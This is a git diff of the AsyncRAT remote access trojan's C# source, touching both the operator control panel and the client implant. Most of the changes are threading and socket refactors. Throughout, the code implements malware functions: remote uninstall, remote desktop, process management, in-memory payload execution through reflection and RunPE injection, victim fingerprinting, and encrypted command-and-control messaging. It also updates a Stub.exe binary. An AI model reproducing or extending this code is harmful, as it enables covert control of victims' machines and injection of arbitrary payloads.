diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs index ade19cd..7f4f201 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs @@ -123,7 +123,7 @@ namespace AsyncRAT_Sharp msgpack.ForcePathObject("Message").AsString = "This is a ping!"; foreach (Clients CL in Settings.Online.ToList()) { - await Task.Run(() => + await Task.Run(() => { CL.BeginSend(msgpack.Encode2Bytes()); }); @@ -137,7 +137,7 @@ namespace AsyncRAT_Sharp toolStripStatusLabel1.Text = $"Online {Settings.Online.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()}"; } - private async void cLOSEToolStripMenuItem_Click(object sender, EventArgs e) + private void cLOSEToolStripMenuItem_Click(object sender, EventArgs e) { if (listView1.SelectedItems.Count > 0) { @@ -145,16 +145,13 @@ namespace AsyncRAT_Sharp msgpack.ForcePathObject("Packet").AsString = "close"; foreach (ListViewItem C in listView1.SelectedItems) { - await Task.Run(() => - { - Clients CL = (Clients)C.Tag; - CL.BeginSend(msgpack.Encode2Bytes()); - }); + Clients CL = (Clients)C.Tag; + ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); } } } - private async void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e) + private void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e) { if (listView1.SelectedItems.Count > 0) { @@ -168,11 +165,8 @@ namespace AsyncRAT_Sharp msgpack.ForcePathObject("Message").AsString = Msgbox; foreach (ListViewItem C in listView1.SelectedItems) { - await Task.Run(() => - { - Clients CL = (Clients)C.Tag; - CL.BeginSend(msgpack.Encode2Bytes()); - }); + Clients CL = (Clients)C.Tag; + ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); } } } @@ -194,12 +188,9 @@ namespace AsyncRAT_Sharp msgpack.ForcePathObject("Update").AsString = "false"; foreach (ListViewItem C in listView1.SelectedItems) { - await Task.Run(() => - { - Clients CL = (Clients)C.Tag; - CL.BeginSend(msgpack.Encode2Bytes()); - CL.LV.ForeColor = Color.Red; - }); + Clients CL = (Clients)C.Tag; + CL.LV.ForeColor = Color.Red; + ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); } } } @@ -210,7 +201,7 @@ namespace AsyncRAT_Sharp } } - private async void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e) + private void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e) { if (listView1.SelectedItems.Count > 0) { @@ -220,11 +211,8 @@ namespace AsyncRAT_Sharp msgpack.ForcePathObject("Packet").AsString = "uninstall"; foreach (ListViewItem C in listView1.SelectedItems) { - await Task.Run(() => - { - Clients CL = (Clients)C.Tag; - CL.BeginSend(msgpack.Encode2Bytes()); - }); + Clients CL = (Clients)C.Tag; + ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); } } catch (Exception ex) @@ -250,12 +238,9 @@ namespace AsyncRAT_Sharp msgpack.ForcePathObject("Update").AsString = "true"; foreach (ListViewItem C in listView1.SelectedItems) { - await Task.Run(() => - { - Clients CL = (Clients)C.Tag; - CL.BeginSend(msgpack.Encode2Bytes()); - CL.LV.ForeColor = Color.Red; - }); + Clients CL = (Clients)C.Tag; + CL.LV.ForeColor = Color.Red; + ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); } } } @@ -266,7 +251,7 @@ namespace AsyncRAT_Sharp } } - private async void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e) + private void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e) { if (listView1.SelectedItems.Count > 0) { @@ -292,12 +277,9 @@ namespace AsyncRAT_Sharp foreach (ListViewItem C in listView1.SelectedItems) { - await Task.Run(() => - { - Clients CL = (Clients)C.Tag; - CL.BeginSend(msgpack.Encode2Bytes()); - CL.LV.ForeColor = Color.Red; - }); + Clients CL = (Clients)C.Tag; + CL.LV.ForeColor = Color.Red; + ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); } } SF.Close(); @@ -309,7 +291,7 @@ namespace AsyncRAT_Sharp } } - private async void rEMOTEDESKTOPToolStripMenuItem_Click(object sender, EventArgs e) + private void rEMOTEDESKTOPToolStripMenuItem_Click(object sender, EventArgs e) { if (listView1.SelectedItems.Count > 0) @@ -321,28 +303,25 @@ namespace AsyncRAT_Sharp msgpack.ForcePathObject("Option").AsString = "true"; foreach (ListViewItem C in listView1.SelectedItems) { - await Task.Run(() => - { - Clients CL = (Clients)C.Tag; - CL.BeginSend(msgpack.Encode2Bytes()); + Clients CL = (Clients)C.Tag; + ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); - this.BeginInvoke((MethodInvoker)(() => + this.BeginInvoke((MethodInvoker)(() => + { + RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + CL.ID]; + if (RD == null) { - RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + CL.ID]; - if (RD == null) + RD = new RemoteDesktop { - RD = new RemoteDesktop - { - Name = "RemoteDesktop:" + CL.ID, - F = this, - Text = "RemoteDesktop:" + CL.ID, - C = CL, - Active = true - }; - RD.Show(); - } - })); - }); + Name = "RemoteDesktop:" + CL.ID, + F = this, + Text = "RemoteDesktop:" + CL.ID, + C = CL, + Active = true + }; + RD.Show(); + } + })); } } catch (Exception ex) @@ -353,7 +332,7 @@ namespace AsyncRAT_Sharp } - private async void pROCESSMANAGERToolStripMenuItem_Click(object sender, EventArgs e) + private void pROCESSMANAGERToolStripMenuItem_Click(object sender, EventArgs e) { try { @@ -364,26 +343,23 @@ namespace AsyncRAT_Sharp msgpack.ForcePathObject("Option").AsString = "List"; foreach (ListViewItem C in listView1.SelectedItems) { - await Task.Run(() => + Clients CL = (Clients)C.Tag; + ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + this.BeginInvoke((MethodInvoker)(() => { - Clients CL = (Clients)C.Tag; - CL.BeginSend(msgpack.Encode2Bytes()); - this.BeginInvoke((MethodInvoker)(() => + ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + CL.ID]; + if (PM == null) { - ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + CL.ID]; - if (PM == null) + PM = new ProcessManager { - PM = new ProcessManager - { - Name = "processManager:" + CL.ID, - Text = "processManager:" + CL.ID, - F = this, - C = CL - }; - PM.Show(); - } - })); - }); + Name = "processManager:" + CL.ID, + Text = "processManager:" + CL.ID, + F = this, + C = CL + }; + PM.Show(); + } + })); } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs index ec5153e..747eed5 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs @@ -24,7 +24,7 @@ namespace AsyncRAT_Sharp.Forms private void timer1_Tick(object sender, EventArgs e) { - if (!C.Client.Connected) this.Close(); + if (!C.ClientSocket.Connected) this.Close(); } private async void killToolStripMenuItem_Click(object sender, EventArgs e) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs index cefe314..b56fd80 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs @@ -32,7 +32,7 @@ namespace AsyncRAT_Sharp.Forms private void timer1_Tick(object sender, EventArgs e) { - if (!C.Client.Connected) this.Close(); + if (!C.ClientSocket.Connected) this.Close(); } private void RemoteDesktop_Activated(object sender, EventArgs e) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs index 4eb66cf..934f140 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs @@ -31,8 +31,8 @@ namespace AsyncRAT_Sharp.Handle_Packet { Client.LV = new ListViewItem(); Client.LV.Tag = Client; - Client.LV.Text = string.Format("{0}:{1}", Client.Client.RemoteEndPoint.ToString().Split(':')[0], Client.Client.LocalEndPoint.ToString().Split(':')[1]); - string[] ipinf = cNewGeoUse.GetIpInf(Client.Client.RemoteEndPoint.ToString().Split(':')[0]).Split(':'); + Client.LV.Text = string.Format("{0}:{1}", Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], Client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]); + string[] ipinf = cNewGeoUse.GetIpInf(Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]).Split(':'); Client.LV.SubItems.Add(ipinf[1]); Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString); Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe index b4bfee7..08dd033 100644 Binary files a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe and b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe differ diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs index a67f2d3..cc82fbc 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs @@ -14,92 +14,94 @@ namespace AsyncRAT_Sharp.Sockets { class Clients { - public Socket Client { get; set; } - private byte[] Buffer { get; set; } - private long Buffersize { get; set; } - private bool BufferRecevied { get; set; } - private MemoryStream MS { get; set; } + public Socket ClientSocket { get; set; } + private byte[] ClientBuffer { get; set; } + private long ClientBuffersize { get; set; } + private bool ClientBufferRecevied { get; set; } + private MemoryStream ClientMS { get; set; } public ListViewItem LV { get; set; } private object SendSync { get; set; } + private object EndSendSync { get; set; } public string ID { get; set; } - public Clients(Socket CLIENT) + public Clients(Socket socket) { - if (Settings.Blocked.Contains(CLIENT.RemoteEndPoint.ToString().Split(':')[0])) + if (Settings.Blocked.Contains(socket.RemoteEndPoint.ToString().Split(':')[0])) { Disconnected(); return; } else - HandleLogs.Addmsg($"Client {CLIENT.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green); + HandleLogs.Addmsg($"Client {socket.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green); - Client = CLIENT; - Buffer = new byte[1]; - Buffersize = 0; - BufferRecevied = false; - MS = new MemoryStream(); + ClientSocket = socket; + ClientBuffer = new byte[1]; + ClientBuffersize = 0; + ClientBufferRecevied = false; + ClientMS = new MemoryStream(); LV = null; SendSync = new object(); - Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null); + EndSendSync = new object(); + ClientSocket.BeginReceive(ClientBuffer, 0, ClientBuffer.Length, SocketFlags.None, ReadClientData, null); } public async void ReadClientData(IAsyncResult ar) { try { - if (!Client.Connected) + if (!ClientSocket.Connected) { Disconnected(); return; } else { - int Recevied = Client.EndReceive(ar); + int Recevied = ClientSocket.EndReceive(ar); if (Recevied > 0) { - if (BufferRecevied == false) - if (Buffer[0] == 0) + if (ClientBufferRecevied == false) + if (ClientBuffer[0] == 0) { - Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray())); - MS.Dispose(); - MS = new MemoryStream(); - if (Buffersize > 0) + ClientBuffersize = Convert.ToInt64(Encoding.UTF8.GetString(ClientMS.ToArray())); + ClientMS.Dispose(); + ClientMS = new MemoryStream(); + if (ClientBuffersize > 0) { - Buffer = new byte[Buffersize]; - Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + " Bytes ///"); - BufferRecevied = true; + ClientBuffer = new byte[ClientBuffersize]; + Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///"); + ClientBufferRecevied = true; } } else - await MS.WriteAsync(Buffer, 0, Buffer.Length); + await ClientMS.WriteAsync(ClientBuffer, 0, ClientBuffer.Length); else { - await MS.WriteAsync(Buffer, 0, Recevied); - if (MS.Length == Buffersize) + await ClientMS.WriteAsync(ClientBuffer, 0, Recevied); + Settings.Received += Recevied; + if (ClientMS.Length == ClientBuffersize) { - try - { - ThreadPool.QueueUserWorkItem(HandlePacket.Read, new object[] { Settings.aes256.Decrypt(MS.ToArray()), this }); - } - catch (CryptographicException) - { - HandleLogs.Addmsg($"Client {Client.RemoteEndPoint.ToString().Split(':')[0]} tried to connect with wrong password, IP blocked", Color.Red); - Settings.Blocked.Add(Client.RemoteEndPoint.ToString().Split(':')[0]); - Disconnected(); - return; - } - Settings.Received += MS.ToArray().Length; - Buffer = new byte[1]; - Buffersize = 0; - MS.Dispose(); - MS = new MemoryStream(); - BufferRecevied = false; + try + { + ThreadPool.QueueUserWorkItem(HandlePacket.Read, new object[] { Settings.aes256.Decrypt(ClientMS.ToArray()), this }); + } + catch (CryptographicException) + { + HandleLogs.Addmsg($"Client {ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} tried to connect with wrong password, IP blocked", Color.Red); + Settings.Blocked.Add(ClientSocket.RemoteEndPoint.ToString().Split(':')[0]); + Disconnected(); + return; + } + ClientBuffer = new byte[1]; + ClientBuffersize = 0; + ClientMS.Dispose(); + ClientMS = new MemoryStream(); + ClientBufferRecevied = false; } else - Buffer = new byte[Buffersize - MS.Length]; + ClientBuffer = new byte[ClientBuffersize - ClientMS.Length]; } - Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null); + ClientSocket.BeginReceive(ClientBuffer, 0, ClientBuffer.Length, SocketFlags.None, ReadClientData, null); } else { @@ -117,21 +119,26 @@ namespace AsyncRAT_Sharp.Sockets public void Disconnected() { - if (LV != null) - { - if (Program.form1.listView1.InvokeRequired) - Program.form1.listView1.BeginInvoke((MethodInvoker)(() => - { - LV.Remove(); - })); - lock (Settings.Online) - Settings.Online.Remove(this); - } try { - MS?.Dispose(); - Client?.Dispose(); + if (LV != null) + { + if (Program.form1.listView1.InvokeRequired) + Program.form1.listView1.BeginInvoke((MethodInvoker)(() => + { + LV.Remove(); + })); + lock (Settings.Online) + Settings.Online.Remove(this); + } + } + catch { } + + try + { + ClientMS?.Dispose(); + ClientSocket?.Dispose(); } catch { } } @@ -140,7 +147,12 @@ namespace AsyncRAT_Sharp.Sockets { lock (SendSync) { - if (!Client.Connected) + if (ClientSocket == null) + { + Disconnected(); + return; + } + if (!ClientSocket.Connected) { Disconnected(); return; @@ -148,16 +160,12 @@ namespace AsyncRAT_Sharp.Sockets try { - using (MemoryStream MEM = new MemoryStream()) - { - byte[] buffer = Settings.aes256.Encrypt((byte[])Msgs); - byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0); - MEM.Write(buffersize, 0, buffersize.Length); - MEM.Write(buffer, 0, buffer.Length); - Client.Poll(-1, SelectMode.SelectWrite); - Client.BeginSend(MEM.ToArray(), 0, (int)MEM.Length, SocketFlags.None, EndSend, null); - Settings.Sent += (long)MEM.Length; - } + byte[] buffer = Settings.aes256.Encrypt((byte[])Msgs); + byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0); + + ClientSocket.Poll(-1, SelectMode.SelectWrite); + ClientSocket.BeginSend(buffersize, 0, buffersize.Length, SocketFlags.None, EndSend, null); + ClientSocket.BeginSend(buffer, 0, buffer.Length, SocketFlags.None, EndSend, null); } catch { @@ -170,14 +178,20 @@ namespace AsyncRAT_Sharp.Sockets public void EndSend(IAsyncResult ar) { - try + lock (EndSendSync) { - Client.EndSend(ar); - } - catch - { - Disconnected(); - return; + try + { + int sent = 0; + sent = ClientSocket.EndSend(ar); + Debug.WriteLine("/// Server Sent " + sent.ToString() + " Bytes ///"); + Settings.Sent += sent; + } + catch + { + Disconnected(); + return; + } } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs index 0f4f881..96383b7 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs @@ -24,7 +24,7 @@ namespace AsyncRAT_Sharp.Sockets SendTimeout = -1, }; Server.Bind(IpEndPoint); - Server.Listen(20); + Server.Listen(30); HandleLogs.Addmsg($"Listenning {port}", Color.Green); Server.BeginAccept(EndAccept, null); } diff --git a/AsyncRAT-C#/Client/Client.csproj b/AsyncRAT-C#/Client/Client.csproj index e8f593b..95415b6 100644 --- a/AsyncRAT-C#/Client/Client.csproj +++ b/AsyncRAT-C#/Client/Client.csproj @@ -70,7 +70,8 @@ - + + diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs index ad255bc..f21df47 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs @@ -54,11 +54,11 @@ namespace Client.Handle_Packet Thread thread = null; if (Injection.Length == 0) { - thread = new Thread(new ParameterizedThreadStart(SendFile.SendToMemory)); + thread = new Thread(new ParameterizedThreadStart(SendToMemory.Reflection)); } else { - thread = new Thread(new ParameterizedThreadStart(SendFile.RunPE)); + thread = new Thread(new ParameterizedThreadStart(SendToMemory.RunPE)); } thread.Start(parameters); } diff --git a/AsyncRAT-C#/Client/Handle Packet/SendFile.cs b/AsyncRAT-C#/Client/Handle Packet/SendToMemory.cs similarity index 94% rename from AsyncRAT-C#/Client/Handle Packet/SendFile.cs rename to AsyncRAT-C#/Client/Handle Packet/SendToMemory.cs index 4eb2205..18faaf3 100644 --- a/AsyncRAT-C#/Client/Handle Packet/SendFile.cs +++ b/AsyncRAT-C#/Client/Handle Packet/SendToMemory.cs @@ -5,9 +5,9 @@ using System.Runtime.InteropServices; namespace Client.Handle_Packet { - class SendFile + class SendToMemory { - public static void SendToMemory(object obj) + public static void Reflection(object obj) { object[] Obj = (object[])obj; byte[] Buffer = (byte[])Obj[0]; diff --git a/AsyncRAT-C#/Client/Helper/Methods.cs b/AsyncRAT-C#/Client/Helper/Methods.cs new file mode 100644 index 0000000..c1619b6 --- /dev/null +++ b/AsyncRAT-C#/Client/Helper/Methods.cs @@ -0,0 +1,30 @@ +using System; +using System.Security.Cryptography; +using System.Text; + +namespace Client.Helper +{ + static class Methods + { + public static string HWID() + { + StringBuilder sb = new StringBuilder(); + sb.Append(Environment.UserDomainName); + sb.Append(Environment.UserName); + sb.Append(Environment.MachineName); + sb.Append(Environment.Version); + return GetHash(sb.ToString()); + } + + public static string GetHash(string strToHash) + { + MD5CryptoServiceProvider md5Obj = new MD5CryptoServiceProvider(); + byte[] bytesToHash = Encoding.ASCII.GetBytes(strToHash); + bytesToHash = md5Obj.ComputeHash(bytesToHash); + StringBuilder strResult = new StringBuilder(); + foreach (byte b in bytesToHash) + strResult.Append(b.ToString("x2")); + return strResult.ToString().Substring(0, 12).ToUpper(); + } + } +} diff --git a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs index ad0baf3..fdffdeb 100644 --- a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs +++ b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs @@ -8,6 +8,7 @@ using System.Text; using System.Threading; using System.Security.Cryptography; using Client.Handle_Packet; +using Client.Helper; namespace Client.Sockets { @@ -22,6 +23,7 @@ namespace Client.Sockets private static Timer Tick { get; set; } private static MemoryStream MS { get; set; } private static object SendSync { get; set; } + private static object EndSendSync { get; set; } public static bool Connected { get; set; } public static void InitializeClient() @@ -44,6 +46,7 @@ namespace Client.Sockets BufferRecevied = false; MS = new MemoryStream(); SendSync = new object(); + EndSendSync = new object(); BeginSend(SendInfo()); TimerCallback T = CheckServer; Tick = new Timer(T, null, new Random().Next(30 * 1000, 60 * 1000), new Random().Next(30 * 1000, 60 * 1000)); @@ -52,7 +55,6 @@ namespace Client.Sockets catch { Debug.WriteLine("Disconnected!"); - Thread.Sleep(new Random().Next(1 * 1000, 6 * 1000)); Connected = false; } } @@ -76,7 +78,7 @@ namespace Client.Sockets { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "ClientInfo"; - msgpack.ForcePathObject("HWID").AsString = HWID(); + msgpack.ForcePathObject("HWID").AsString = Methods.HWID(); msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString(); msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " + Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit"); @@ -85,28 +87,7 @@ namespace Client.Sockets return msgpack.Encode2Bytes(); } - private static string HWID() - { - StringBuilder sb = new StringBuilder(); - sb.Append(Environment.UserDomainName); - sb.Append(Environment.UserName); - sb.Append(Environment.MachineName); - sb.Append(Environment.Version); - return GetHash(sb.ToString()); - } - - private static string GetHash(string strToHash) - { - MD5CryptoServiceProvider md5Obj = new MD5CryptoServiceProvider(); - byte[] bytesToHash = Encoding.ASCII.GetBytes(strToHash); - bytesToHash = md5Obj.ComputeHash(bytesToHash); - StringBuilder strResult = new StringBuilder(); - foreach (byte b in bytesToHash) - strResult.Append(b.ToString("x2")); - return strResult.ToString().Substring(0, 12).ToUpper(); - } - - public static void ReadServertData(IAsyncResult ar) + public static void ReadServertData(IAsyncResult Iar) { try { @@ -116,14 +97,14 @@ namespace Client.Sockets return; } - int Recevied = Client.EndReceive(ar); + int Recevied = Client.EndReceive(Iar); if (Recevied > 0) { if (BufferRecevied == false) if (Buffer[0] == 0) { Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray())); - Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + " Bytes ///"); + Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes ///"); MS.Dispose(); MS = new MemoryStream(); if (Buffersize > 0) @@ -168,24 +149,14 @@ namespace Client.Sockets { lock (SendSync) { - if (!Client.Connected) - { - Connected = false; - return; - } - try { - using (MemoryStream MS = new MemoryStream()) - { - byte[] buffer = Settings.aes256.Encrypt(Msg); - byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0); - MS.Write(buffersize, 0, buffersize.Length); - MS.Write(buffer, 0, buffer.Length); + byte[] buffer = Settings.aes256.Encrypt(Msg); + byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0); - Client.Poll(-1, SelectMode.SelectWrite); - Client.BeginSend(MS.ToArray(), 0, (int)(MS.Length), SocketFlags.None, EndSend, null); - } + Client.Poll(-1, SelectMode.SelectWrite); + Client.BeginSend(buffersize, 0, buffersize.Length, SocketFlags.None, EndSend, null); + Client.BeginSend(buffer, 0, buffer.Length, SocketFlags.None, EndSend, null); } catch { @@ -197,14 +168,19 @@ namespace Client.Sockets public static void EndSend(IAsyncResult ar) { - try + lock (EndSendSync) { - Client.EndSend(ar); - } - catch - { - Connected = false; - return; + try + { + int sent = 0; + sent = Client.EndSend(ar); + Debug.WriteLine("/// Client Sent " + sent.ToString() + " Bytes ///"); + } + catch + { + Connected = false; + return; + } } }